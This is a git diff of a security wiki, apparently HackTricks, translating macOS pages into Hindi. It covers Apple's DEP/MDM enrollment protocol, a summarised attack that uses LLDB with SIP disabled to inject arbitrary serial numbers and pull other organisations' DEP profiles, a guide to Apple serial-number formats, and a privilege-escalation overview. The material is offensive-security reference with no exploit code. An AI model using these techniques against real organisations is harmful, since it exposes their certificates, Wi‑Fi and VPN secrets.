**`MCTeslaConfigurationFetcher`**. This process uses an encryption called **Absinthe** +यह **`MCTeslaConfigurationFetcher`** द्वारा सक्रियण रिकॉर्ड प्राप्त करने के लिए कुछ कदम उठाता है। यह प्रक्रिया **Absinthe** नामक एन्क्रिप्शन का उपयोग करती है -1. Retrieve **certificate** - 1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) -2. **Initialize** state from certificate (**`NACInit`**) - 1. Uses various device-specific data (i.e. **Serial Number via `IOKit`**) -3. Retrieve **session key** - 1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) -4. Establish the session (**`NACKeyEstablishment`**) -5. Make the request - 1. POST to [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) sending the data `{ "action": "RequestProfileConfiguration", "sn": "" }` - 2. The JSON payload is encrypted using Absinthe (**`NACSign`**) - 3. All requests over HTTPs, built-in root certificates are used +1. **प्रमाणपत्र** प्राप्त करें +1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) +2. प्रमाणपत्र से स्थिति **`NACInit`** प्रारंभ करें +1. विभिन्न उपकरण-विशिष्ट डेटा का उपयोग करता है (जैसे **सीरियल नंबर `IOKit` के माध्यम से**) +3. **सत्र कुंजी** प्राप्त करें +1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) +4. सत्र स्थापित करें (**`NACKeyEstablishment`**) +5. अनुरोध करें +1. POST [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) डेटा भेजते हुए `{ "action": "RequestProfileConfiguration", "sn": "" }` +2. JSON पेलोड को Absinthe (**`NACSign`**) का उपयोग करके एन्क्रिप्ट किया गया है +3. सभी अनुरोध HTTPs पर, अंतर्निहित रूट प्रमाणपत्रों का उपयोग किया जाता है ![](<../../../images/image (566) (1).png>) -The response is a JSON dictionary with some important data like: +प्रतिक्रिया एक JSON शब्दकोश है जिसमें कुछ महत्वपूर्ण डेटा जैसे: -- **url**: URL of the MDM vendor host for the activation profile -- **anchor-certs**: Array of DER certificates used as trusted anchors +- **url**: सक्रियण प्रोफाइल के लिए MDM विक्रेता होस्ट का URL +- **anchor-certs**: DER प्रमाणपत्रों की एक सरणी जो विश्वसनीय एंकर के रूप में उपयोग की जाती है -### **Step 5: Profile Retrieval** +### **चरण 5: प्रोफाइल पुनर्प्राप्ति** ![](<../../../images/image (444).png>) -- Request sent to **url provided in DEP profile**. -- **Anchor certificates** are used to **evaluate trust** if provided. - - Reminder: the **anchor_certs** property of the DEP profile -- **Request is a simple .plist** with device identification - - Examples: **UDID, OS version**. -- CMS-signed, DER-encoded -- Signed using the **device identity certificate (from APNS)** -- **Certificate chain** includes expired **Apple iPhone Device CA** +- **DEP प्रोफाइल में प्रदान किए गए URL** पर अनुरोध भेजा गया। +- **एंकर प्रमाणपत्रों** का उपयोग **विश्वास का मूल्यांकन** करने के लिए किया जाता है यदि प्रदान किया गया हो। +- अनुस्मारक: **DEP प्रोफाइल का anchor_certs** प्रॉपर्टी +- **अनुरोध एक साधारण .plist** है जिसमें उपकरण की पहचान होती है +- उदाहरण: **UDID, OS संस्करण**। +- CMS-हस्ताक्षरित, DER-कोडित +- **उपकरण पहचान प्रमाणपत्र (APNS से)** का उपयोग करके हस्ताक्षरित +- **प्रमाणपत्र श्रृंखला** में समाप्त **Apple iPhone Device CA** शामिल है -![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>) +![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>) -### Step 6: Profile Installation +### चरण 6: प्रोफाइल स्थापना -- Once retrieved, **profile is stored on the system** -- This step begins automatically (if in **setup assistant**) -- Driven by **`CPInstallActivationProfile`** -- Implemented by mdmclient over XPC - - LaunchDaemon (as root) or LaunchAgent (as user), depending on context -- Configuration profiles have multiple payloads to install -- Framework has a plugin-based architecture for installing profiles -- Each payload type is associated with a plugin - - Can be XPC (in framework) or classic Cocoa (in ManagedClient.app) -- Example: - - Certificate Payloads use CertificateService.xpc +- एक बार पुनर्प्राप्त होने के बाद, **प्रोफाइल सिस्टम पर संग्रहीत किया जाता है** +- यह चरण स्वचालित रूप से शुरू होता है (यदि **सेटअप सहायक** में) +- **`CPInstallActivationProfile`** द्वारा संचालित +- XPC के माध्यम से mdmclient द्वारा लागू किया गया +- LaunchDaemon (रूट के रूप में) या LaunchAgent (उपयोगकर्ता के रूप में), संदर्भ के आधार पर +- कॉन्फ़िगरेशन प्रोफाइल में स्थापित करने के लिए कई पेलोड होते हैं +- फ्रेमवर्क में प्रोफाइल स्थापित करने के लिए एक प्लगइन-आधारित आर्किटेक्चर है +- प्रत्येक पेलोड प्रकार एक प्लगइन से जुड़ा होता है +- यह XPC (फ्रेमवर्क में) या क्लासिक कोकोआ (ManagedClient.app में) हो सकता है +- उदाहरण: +- प्रमाणपत्र पेलोड्स CertificateService.xpc का उपयोग करते हैं -Typically, **activation profile** provided by an MDM vendor will **include the following payloads**: +आम तौर पर, एक MDM विक्रेता द्वारा प्रदान किया गया **सक्रियण प्रोफाइल** निम्नलिखित पेलोड्स को **शामिल करेगा**: -- `com.apple.mdm`: to **enroll** the device in MDM -- `com.apple.security.scep`: to securely provide a **client certificate** to the device. -- `com.apple.security.pem`: to **install trusted CA certificates** to the device’s System Keychain. -- Installing the MDM payload equivalent to **MDM check-in in the documentation** -- Payload **contains key properties**: -- - MDM Check-In URL (**`CheckInURL`**) - - MDM Command Polling URL (**`ServerURL`**) + APNs topic to trigger it -- To install MDM payload, request is sent to **`CheckInURL`** -- Implemented in **`mdmclient`** -- MDM payload can depend on other payloads -- Allows **requests to be pinned to specific certificates**: - - Property: **`CheckInURLPinningCertificateUUIDs`** - - Property: **`ServerURLPinningCertificateUUIDs`** - - Delivered via PEM payload -- Allows device to be attributed with an identity certificate: - - Property: IdentityCertificateUUID - - Delivered via SCEP payload +- `com.apple.mdm`: उपकरण को MDM में **नामांकित** करने के लिए +- `com.apple.security.scep`: उपकरण को एक **क्लाइंट प्रमाणपत्र** सुरक्षित रूप से प्रदान करने के लिए। +- `com.apple.security.pem`: उपकरण के सिस्टम कीचेन में **विश्वसनीय CA प्रमाणपत्र** स्थापित करने के लिए। +- MDM पेलोड स्थापित करना दस्तावेज़ में **MDM चेक-इन के बराबर है** +- पेलोड में **मुख्य प्रॉपर्टीज** शामिल हैं: +- - MDM चेक-इन URL (**`CheckInURL`**) +- MDM आदेश पोलिंग URL (**`ServerURL`**) + इसे ट्रिगर करने के लिए APNs विषय +- MDM पेलोड स्थापित करने के लिए, अनुरोध **`CheckInURL`** पर भेजा जाता है +- **`mdmclient`** में लागू किया गया +- MDM पेलोड अन्य पेलोड्स पर निर्भर कर सकता है +- **विशिष्ट प्रमाणपत्रों** के लिए अनुरोधों को पिन करने की अनुमति देता है: +- प्रॉपर्टी: **`CheckInURLPinningCertificateUUIDs`** +- प्रॉपर्टी: **`ServerURLPinningCertificateUUIDs`** +- PEM पेलोड के माध्यम से वितरित किया गया +- उपकरण को एक पहचान प्रमाणपत्र के साथ विशेषता देने की अनुमति देता है: +- प्रॉपर्टी: IdentityCertificateUUID +- SCEP पेलोड के माध्यम से वितरित किया गया -### **Step 7: Listening for MDM commands** +### **चरण 7: MDM आदेशों के लिए सुनना** -- After MDM check-in is complete, vendor can **issue push notifications using APNs** -- Upon receipt, handled by **`mdmclient`** -- To poll for MDM commands, request is sent to ServerURL -- Makes use of previously installed MDM payload: - - **`ServerURLPinningCertificateUUIDs`** for pinning request - - **`IdentityCertificateUUID`** for TLS client certificate +- MDM चेक-इन पूरा होने के बाद, विक्रेता **APNs का उपयोग करके पुश सूचनाएँ जारी कर सकता है** +- प्राप्ति पर, **`mdmclient`** द्वारा संभाला जाता है +- MDM आदेशों के लिए पोलिंग करने के लिए, अनुरोध ServerURL पर भेजा जाता है +- पहले से स्थापित MDM पेलोड का उपयोग करता है: +- **`ServerURLPinningCertificateUUIDs`** पिनिंग अनुरोध के लिए +- **`IdentityCertificateUUID`** TLS क्लाइंट प्रमाणपत्र के लिए -## Attacks +## हमले -### Enrolling Devices in Other Organisations +### अन्य संगठनों में उपकरणों का नामांकन -As previously commented, in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ -Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected: +जैसा कि पहले टिप्पणी की गई थी, एक संगठन में उपकरण को नामांकित करने के लिए **केवल उस संगठन का एक सीरियल नंबर आवश्यक है**। एक बार उपकरण नामांकित हो जाने पर, कई संगठन नए उपकरण पर संवेदनशील डेटा स्थापित करेंगे: प्रमाणपत्र, अनुप्रयोग, WiFi पासवर्ड, VPN कॉन्फ़िगरेशन [और इसी तरह](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)।\ +इसलिए, यदि नामांकन प्रक्रिया को सही तरीके से सुरक्षित नहीं किया गया है, तो यह हमलावरों के लिए एक खतरनाक प्रवेश बिंदु हो सकता है: {{#ref}} enrolling-devices-in-other-organisations.md diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md index 19851b925..30c6cc9d5 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md @@ -1,53 +1,53 @@ -# Enrolling Devices in Other Organisations +# अन्य संगठनों में उपकरणों को नामांकित करना {{#include ../../../banners/hacktricks-training.md}} -## Intro +## परिचय -As [**previously commented**](./#what-is-mdm-mobile-device-management)**,** in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ -Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected. +जैसा कि [**पहले टिप्पणी की गई**](./#what-is-mdm-mobile-device-management)**,** किसी उपकरण को एक संगठन में नामांकित करने के लिए **केवल उस संगठन का एक सीरियल नंबर आवश्यक है**। एक बार जब उपकरण नामांकित हो जाता है, तो कई संगठन नए उपकरण पर संवेदनशील डेटा स्थापित करेंगे: प्रमाणपत्र, अनुप्रयोग, WiFi पासवर्ड, VPN कॉन्फ़िगरेशन [और इसी तरह](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)।\ +इसलिए, यदि नामांकन प्रक्रिया को सही तरीके से सुरक्षित नहीं किया गया है, तो यह हमलावरों के लिए एक खतरनाक प्रवेश बिंदु हो सकता है। -**The following is a summary of the research [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Check it for further technical details!** +**यहाँ अनुसंधान का एक सारांश है [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)। आगे तकनीकी विवरण के लिए इसे देखें!** -## Overview of DEP and MDM Binary Analysis +## DEP और MDM बाइनरी विश्लेषण का अवलोकन -This research delves into the binaries associated with the Device Enrollment Program (DEP) and Mobile Device Management (MDM) on macOS. Key components include: +यह अनुसंधान macOS पर डिवाइस नामांकन कार्यक्रम (DEP) और मोबाइल डिवाइस प्रबंधन (MDM) से संबंधित बाइनरी में गहराई से जाता है। प्रमुख घटक शामिल हैं: -- **`mdmclient`**: Communicates with MDM servers and triggers DEP check-ins on macOS versions before 10.13.4. -- **`profiles`**: Manages Configuration Profiles, and triggers DEP check-ins on macOS versions 10.13.4 and later. -- **`cloudconfigurationd`**: Manages DEP API communications and retrieves Device Enrollment profiles. +- **`mdmclient`**: MDM सर्वरों के साथ संवाद करता है और macOS संस्करण 10.13.4 से पहले DEP चेक-इन को ट्रिगर करता है। +- **`profiles`**: कॉन्फ़िगरेशन प्रोफाइल का प्रबंधन करता है, और macOS संस्करण 10.13.4 और बाद में DEP चेक-इन को ट्रिगर करता है। +- **`cloudconfigurationd`**: DEP API संचार का प्रबंधन करता है और डिवाइस नामांकन प्रोफाइल प्राप्त करता है। -DEP check-ins utilize the `CPFetchActivationRecord` and `CPGetActivationRecord` functions from the private Configuration Profiles framework to fetch the Activation Record, with `CPFetchActivationRecord` coordinating with `cloudconfigurationd` through XPC. +DEP चेक-इन `CPFetchActivationRecord` और `CPGetActivationRecord` कार्यों का उपयोग करता है जो निजी कॉन्फ़िगरेशन प्रोफाइल ढांचे से सक्रियण रिकॉर्ड को प्राप्त करने के लिए हैं, जिसमें `CPFetchActivationRecord` XPC के माध्यम से `cloudconfigurationd` के साथ समन्वय करता है। -## Tesla Protocol and Absinthe Scheme Reverse Engineering +## टेस्ला प्रोटोकॉल और एब्सिन्थ स्कीम रिवर्स इंजीनियरिंग -The DEP check-in involves `cloudconfigurationd` sending an encrypted, signed JSON payload to _iprofiles.apple.com/macProfile_. The payload includes the device's serial number and the action "RequestProfileConfiguration". The encryption scheme used is referred to internally as "Absinthe". Unraveling this scheme is complex and involves numerous steps, which led to exploring alternative methods for inserting arbitrary serial numbers in the Activation Record request. +DEP चेक-इन में `cloudconfigurationd` एक एन्क्रिप्टेड, साइन किया हुआ JSON पेलोड _iprofiles.apple.com/macProfile_ पर भेजता है। पेलोड में उपकरण का सीरियल नंबर और क्रिया "RequestProfileConfiguration" शामिल है। उपयोग की जाने वाली एन्क्रिप्शन स्कीम को आंतरिक रूप से "Absinthe" के रूप में संदर्भित किया जाता है। इस स्कीम को सुलझाना जटिल है और इसमें कई चरण शामिल हैं, जिसने सक्रियण रिकॉर्ड अनुरोध में मनमाने सीरियल नंबर डालने के वैकल्पिक तरीकों की खोज की। -## Proxying DEP Requests +## DEP अनुरोधों को प्रॉक्सी करना -Attempts to intercept and modify DEP requests to _iprofiles.apple.com_ using tools like Charles Proxy were hindered by payload encryption and SSL/TLS security measures. However, enabling the `MCCloudConfigAcceptAnyHTTPSCertificate` configuration allows bypassing the server certificate validation, although the payload's encrypted nature still prevents modification of the serial number without the decryption key. +_iprofiles.apple.com_ पर DEP अनुरोधों को इंटरसेप्ट और संशोधित करने के प्रयास चार्ल्स प्रॉक्सी जैसे उपकरणों का उपयोग करके पेलोड एन्क्रिप्शन और SSL/TLS सुरक्षा उपायों द्वारा बाधित किए गए थे। हालाँकि, `MCCloudConfigAcceptAnyHTTPSCertificate` कॉन्फ़िगरेशन को सक्षम करने से सर्वर प्रमाणपत्र मान्यता को बायपास करने की अनुमति मिलती है, हालाँकि पेलोड की एन्क्रिप्टेड प्रकृति अभी भी डिक्रिप्शन कुंजी के बिना सीरियल नंबर में संशोधन को रोकती है। -## Instrumenting System Binaries Interacting with DEP +## DEP के साथ इंटरैक्ट करने वाले सिस्टम बाइनरी को इंस्ट्रूमेंट करना -Instrumenting system binaries like `cloudconfigurationd` requires disabling System Integrity Protection (SIP) on macOS. With SIP disabled, tools like LLDB can be used to attach to system processes and potentially modify the serial number used in DEP API interactions. This method is preferable as it avoids the complexities of entitlements and code signing. +`cloudconfigurationd` जैसे सिस्टम बाइनरी को इंस्ट्रूमेंट करने के लिए macOS पर सिस्टम इंटीग्रिटी प्रोटेक्शन (SIP) को अक्षम करना आवश्यक है। SIP अक्षम होने पर, LLDB जैसे उपकरणों का उपयोग सिस्टम प्रक्रियाओं से जुड़ने और DEP API इंटरैक्शन में उपयोग किए जाने वाले सीरियल नंबर को संभावित रूप से संशोधित करने के लिए किया जा सकता है। यह विधि वरीयता प्राप्त है क्योंकि यह अधिकारों और कोड साइनिंग की जटिलताओं से बचती है। -**Exploiting Binary Instrumentation:** -Modifying the DEP request payload before JSON serialization in `cloudconfigurationd` proved effective. The process involved: +**बाइनरी इंस्ट्रूमेंटेशन का शोषण:** +`cloudconfigurationd` में JSON सीरियलाइजेशन से पहले DEP अनुरोध पेलोड को संशोधित करना प्रभावी साबित हुआ। प्रक्रिया में शामिल थे: -1. Attaching LLDB to `cloudconfigurationd`. -2. Locating the point where the system serial number is fetched. -3. Injecting an arbitrary serial number into the memory before the payload is encrypted and sent. +1. `cloudconfigurationd` से LLDB को संलग्न करना। +2. उस बिंदु को ढूंढना जहाँ सिस्टम सीरियल नंबर प्राप्त किया जाता है। +3. पेलोड को एन्क्रिप्ट और भेजे जाने से पहले मेमोरी में एक मनमाना सीरियल नंबर इंजेक्ट करना। -This method allowed for retrieving complete DEP profiles for arbitrary serial numbers, demonstrating a potential vulnerability. +इस विधि ने मनमाने सीरियल नंबर के लिए पूर्ण DEP प्रोफाइल प्राप्त करने की अनुमति दी, जो एक संभावित भेद्यता को प्रदर्शित करती है। -### Automating Instrumentation with Python +### पायथन के साथ इंस्ट्रूमेंटेशन को स्वचालित करना -The exploitation process was automated using Python with the LLDB API, making it feasible to programmatically inject arbitrary serial numbers and retrieve corresponding DEP profiles. +शोषण प्रक्रिया को LLDB API के साथ पायथन का उपयोग करके स्वचालित किया गया, जिससे मनमाने सीरियल नंबर को प्रोग्रामेटिक रूप से इंजेक्ट करना और संबंधित DEP प्रोफाइल प्राप्त करना संभव हो गया। -### Potential Impacts of DEP and MDM Vulnerabilities +### DEP और MDM भेद्यताओं के संभावित प्रभाव -The research highlighted significant security concerns: +अनुसंधान ने महत्वपूर्ण सुरक्षा चिंताओं को उजागर किया: -1. **Information Disclosure**: By providing a DEP-registered serial number, sensitive organizational information contained in the DEP profile can be retrieved. +1. **जानकारी का खुलासा**: DEP-रजिस्टर्ड सीरियल नंबर प्रदान करके, DEP प्रोफाइल में निहित संवेदनशील संगठनात्मक जानकारी प्राप्त की जा सकती है। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md b/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md index 4b373d774..41ba05f64 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md @@ -4,37 +4,37 @@ ## Basic Information -Apple devices post-2010 have serial numbers consisting of **12 alphanumeric characters**, each segment conveying specific information: +Apple उपकरण 2010 के बाद **12 अल्फ़ान्यूमेरिक वर्णों** वाले सीरियल नंबर रखते हैं, प्रत्येक खंड विशिष्ट जानकारी प्रदान करता है: -- **First 3 Characters**: Indicate the **manufacturing location**. -- **Characters 4 & 5**: Denote the **year and week of manufacture**. -- **Characters 6 to 8**: Serve as a **unique identifier** for each device. -- **Last 4 Characters**: Specify the **model number**. +- **पहले 3 वर्ण**: **निर्माण स्थान** को दर्शाते हैं। +- **वर्ण 4 और 5**: **निर्माण का वर्ष और सप्ताह** दर्शाते हैं। +- **वर्ण 6 से 8**: प्रत्येक उपकरण के लिए **विशिष्ट पहचानकर्ता** के रूप में कार्य करते हैं। +- **अंतिम 4 वर्ण**: **मॉडल नंबर** निर्दिष्ट करते हैं। -For instance, the serial number **C02L13ECF8J2** follows this structure. +उदाहरण के लिए, सीरियल नंबर **C02L13ECF8J2** इस संरचना का पालन करता है। ### **Manufacturing Locations (First 3 Characters)** -Certain codes represent specific factories: +कुछ कोड विशिष्ट कारखानों का प्रतिनिधित्व करते हैं: -- **FC, F, XA/XB/QP/G8**: Various locations in the USA. -- **RN**: Mexico. -- **CK**: Cork, Ireland. -- **VM**: Foxconn, Czech Republic. -- **SG/E**: Singapore. -- **MB**: Malaysia. -- **PT/CY**: Korea. -- **EE/QT/UV**: Taiwan. -- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Different locations in China. -- **C0, C3, C7**: Specific cities in China. -- **RM**: Refurbished devices. +- **FC, F, XA/XB/QP/G8**: अमेरिका के विभिन्न स्थान। +- **RN**: मेक्सिको। +- **CK**: कॉर्क, आयरलैंड। +- **VM**: फॉक्सकॉन, चेक गणराज्य। +- **SG/E**: सिंगापुर। +- **MB**: मलेशिया। +- **PT/CY**: कोरिया। +- **EE/QT/UV**: ताइवान। +- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: चीन के विभिन्न स्थान। +- **C0, C3, C7**: चीन के विशिष्ट शहर। +- **RM**: नवीनीकरण किए गए उपकरण। ### **Year of Manufacturing (4th Character)** -This character varies from 'C' (representing the first half of 2010) to 'Z' (second half of 2019), with different letters indicating different half-year periods. +यह वर्ण 'C' (2010 के पहले आधे का प्रतिनिधित्व करता है) से लेकर 'Z' (2019 के दूसरे आधे) तक भिन्न होता है, विभिन्न अक्षर विभिन्न आधे वर्ष की अवधि को दर्शाते हैं। ### **Week of Manufacturing (5th Character)** -Digits 1-9 correspond to weeks 1-9. Letters C-Y (excluding vowels and 'S') represent weeks 10-27. For the second half of the year, 26 is added to this number. +अंक 1-9 सप्ताह 1-9 के अनुरूप होते हैं। अक्षर C-Y (स्वर और 'S' को छोड़कर) सप्ताह 10-27 का प्रतिनिधित्व करते हैं। वर्ष के दूसरे आधे के लिए, इस संख्या में 26 जोड़ा जाता है। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md index 7fa9d3ae9..b5da1a5bb 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -1,33 +1,18 @@ -# macOS Security & Privilege Escalation +# macOS सुरक्षा और विशेषाधिकार वृद्धि {{#include ../../banners/hacktricks-training.md}} -
+## बुनियादी MacOS -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! +यदि आप macOS से परिचित नहीं हैं, तो आपको macOS के मूल बातें सीखना शुरू करना चाहिए: -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - -## Basic MacOS - -If you are not familiar with macOS, you should start learning the basics of macOS: - -- Special macOS **files & permissions:** +- विशेष macOS **फाइलें और अनुमतियाँ:** {{#ref}} macos-files-folders-and-binaries/ {{#endref}} -- Common macOS **users** +- सामान्य macOS **उपयोगकर्ता** {{#ref}} macos-users.md @@ -39,112 +24,97 @@ macos-users.md macos-applefs.md {{#endref}} -- The **architecture** of the k**ernel** +- **kernel** की **संरचना** {{#ref}} mac-os-architecture/ {{#endref}} -- Common macOS n**etwork services & protocols** +- सामान्य macOS n**etwork सेवाएँ और प्रोटोकॉल** {{#ref}} macos-protocols.md {{#endref}} -- **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/) - - To download a `tar.gz` change a URL such as [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) to [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) +- **ओपनसोर्स** macOS: [https://opensource.apple.com/](https://opensource.apple.com/) +- `tar.gz` डाउनलोड करने के लिए एक URL को इस तरह बदलें [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) से [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) ### MacOS MDM -In companies **macOS** systems are highly probably going to be **managed with a MDM**. Therefore, from the perspective of an attacker is interesting to know **how that works**: +कंपनियों में **macOS** सिस्टम उच्च संभावना के साथ **MDM के साथ प्रबंधित** होंगे। इसलिए, एक हमलावर के दृष्टिकोण से यह जानना दिलचस्प है **कि यह कैसे काम करता है**: {{#ref}} ../macos-red-teaming/macos-mdm/ {{#endref}} -### MacOS - Inspecting, Debugging and Fuzzing +### MacOS - निरीक्षण, डिबगिंग और फज़िंग {{#ref}} macos-apps-inspecting-debugging-and-fuzzing/ {{#endref}} -## MacOS Security Protections +## MacOS सुरक्षा सुरक्षा {{#ref}} macos-security-protections/ {{#endref}} -## Attack Surface +## हमले की सतह -### File Permissions +### फ़ाइल अनुमतियाँ -If a **process running as root writes** a file that can be controlled by a user, the user could abuse this to **escalate privileges**.\ -This could occur in the following situations: +यदि एक **प्रक्रिया जो रूट के रूप में चल रही है** एक फ़ाइल लिखती है जिसे एक उपयोगकर्ता द्वारा नियंत्रित किया जा सकता है, तो उपयोगकर्ता इसका दुरुपयोग करके **विशेषाधिकार बढ़ा सकता है**।\ +यह निम्नलिखित स्थितियों में हो सकता है: -- File used was already created by a user (owned by the user) -- File used is writable by the user because of a group -- File used is inside a directory owned by the user (the user could create the file) -- File used is inside a directory owned by root but user has write access over it because of a group (the user could create the file) +- उपयोग की गई फ़ाइल पहले से एक उपयोगकर्ता द्वारा बनाई गई थी (उपयोगकर्ता द्वारा स्वामित्व) +- उपयोग की गई फ़ाइल उपयोगकर्ता द्वारा एक समूह के कारण लिखने योग्य है +- उपयोग की गई फ़ाइल एक निर्देशिका के अंदर है जो उपयोगकर्ता के स्वामित्व में है (उपयोगकर्ता फ़ाइल बना सकता है) +- उपयोग की गई फ़ाइल एक निर्देशिका के अंदर है जो रूट के स्वामित्व में है लेकिन उपयोगकर्ता को एक समूह के कारण उस पर लिखने की अनुमति है (उपयोगकर्ता फ़ाइल बना सकता है) -Being able to **create a file** that is going to be **used by root**, allows a user to **take advantage of its content** or even create **symlinks/hardlinks** to point it to another place. +एक **फ़ाइल बनाने में सक्षम होना** जो **रूट द्वारा उपयोग की जाने वाली है**, एक उपयोगकर्ता को **इसके सामग्री का लाभ उठाने** या यहां तक कि **सिंबलिंक/हार्डलिंक** बनाने की अनुमति देता है ताकि इसे किसी अन्य स्थान पर इंगित किया जा सके। -For this kind of vulnerabilities don't forget to **check vulnerable `.pkg` installers**: +इस प्रकार की कमजोरियों के लिए **कमजोर `.pkg` इंस्टॉलर** की जांच करना न भूलें: {{#ref}} macos-files-folders-and-binaries/macos-installers-abuse.md {{#endref}} -### File Extension & URL scheme app handlers +### फ़ाइल एक्सटेंशन और URL स्कीम ऐप हैंडलर -Weird apps registered by file extensions could be abused and different applications can be register to open specific protocols +फाइल एक्सटेंशन द्वारा पंजीकृत अजीब ऐप्स का दुरुपयोग किया जा सकता है और विभिन्न अनुप्रयोगों को विशिष्ट प्रोटोकॉल खोलने के लिए पंजीकृत किया जा सकता है {{#ref}} macos-file-extension-apps.md {{#endref}} -## macOS TCC / SIP Privilege Escalation +## macOS TCC / SIP विशेषाधिकार वृद्धि -In macOS **applications and binaries can have permissions** to access folders or settings that make them more privileged than others. +macOS में **अनुप्रयोगों और बाइनरीज़ के पास फ़ोल्डरों या सेटिंग्स तक पहुँचने के लिए अनुमतियाँ हो सकती हैं** जो उन्हें दूसरों की तुलना में अधिक विशेषाधिकार प्राप्त बनाती हैं। -Therefore, an attacker that wants to successfully compromise a macOS machine will need to **escalate its TCC privileges** (or even **bypass SIP**, depending on his needs). +इसलिए, एक हमलावर जो macOS मशीन को सफलतापूर्वक समझौता करना चाहता है, उसे **अपने TCC विशेषाधिकार बढ़ाने** की आवश्यकता होगी (या यहां तक कि **SIP को बायपास करना**, उसकी आवश्यकताओं के आधार पर)। -These privileges are usually given in the form of **entitlements** the application is signed with, or the application might requested some accesses and after the **user approving them** they can be found in the **TCC databases**. Another way a process can obtain these privileges is by being a **child of a process** with those **privileges** as they are usually **inherited**. +ये विशेषाधिकार आमतौर पर **अधिकारों** के रूप में दिए जाते हैं जिनसे अनुप्रयोग पर हस्ताक्षर किया जाता है, या अनुप्रयोग कुछ पहुँचों का अनुरोध कर सकता है और उसके बाद **उपयोगकर्ता द्वारा उन्हें अनुमोदित करने** के बाद उन्हें **TCC डेटाबेस** में पाया जा सकता है। एक अन्य तरीका जिससे एक प्रक्रिया इन विशेषाधिकारों को प्राप्त कर सकती है वह है **एक प्रक्रिया का बच्चा होना** जिसके पास वे **विशेषाधिकार** होते हैं क्योंकि वे आमतौर पर **विरासत में मिलते हैं**। -Follow these links to find different was to [**escalate privileges in TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), to [**bypass TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) and how in the past [**SIP has been bypassed**](macos-security-protections/macos-sip.md#sip-bypasses). +इन लिंक का पालन करें ताकि विभिन्न तरीकों को [**TCC में विशेषाधिकार बढ़ाने के लिए**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), [**TCC को बायपास करने के लिए**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) और कैसे अतीत में [**SIP को बायपास किया गया है**](macos-security-protections/macos-sip.md#sip-bypasses)। -## macOS Traditional Privilege Escalation +## macOS पारंपरिक विशेषाधिकार वृद्धि -Of course from a red teams perspective you should be also interested in escalating to root. Check the following post for some hints: +बेशक, एक रेड टीम के दृष्टिकोण से आपको रूट तक बढ़ने में भी रुचि होनी चाहिए। कुछ संकेतों के लिए निम्नलिखित पोस्ट की जांच 